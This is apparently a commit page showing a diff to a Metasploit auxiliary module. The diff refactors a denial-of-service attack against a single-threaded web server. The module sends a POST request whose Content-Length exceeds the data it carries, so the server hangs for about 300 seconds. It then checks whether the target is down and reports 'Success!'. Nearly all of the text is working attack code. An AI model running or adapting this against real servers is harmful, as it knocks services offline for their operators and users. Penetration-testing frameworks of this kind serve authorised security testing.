bcoles fixes

MS-2855/keylogger-mettle-extension
h00die 2018-01-02 20:23:24 -05:00
parent bc0a08ef5a
commit e23e87b444
1 changed files with 21 additions and 20 deletions

View File

@ -38,13 +38,10 @@ class MetasploitModule < Msf::Auxiliary
return !res.nil? return !res.nil?
end end
def run def dos
begin
time = Time.new
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}. Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
# The web server is single threaded, and when the content length is longer than the data, it will continue to wait # The web server is single threaded, and when the content length is longer than the data, it will continue to wait
# for the rest of the data, which never comes, and times out after ~300 seconds. # for the rest of the data, which never comes, and times out after ~300 seconds.
begin
data = Rex::Text.rand_text_alphanumeric(40) data = Rex::Text.rand_text_alphanumeric(40)
send_request_cgi({ send_request_cgi({
'method' => 'POST', 'method' => 'POST',
@ -63,17 +60,21 @@ class MetasploitModule < Msf::Auxiliary
'Content-Length' => data.length + rand(10) + 10 #42 'Content-Length' => data.length + rand(10) + 10 #42
} }
}) })
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("Couldn't connect to #{peer}") print_error("Couldn't connect to #{peer}")
return
end end
end
def run
time = Time.new
print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")
dos
# Check to see if it worked or not # Check to see if it worked or not
if is_alive? if is_alive?
print_error("#{peer} - Server is still alive") print_error("#{peer} - Server is still alive.")
else else
print_good("#{peer} - Connection Refused: Success!") print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")
end end
end end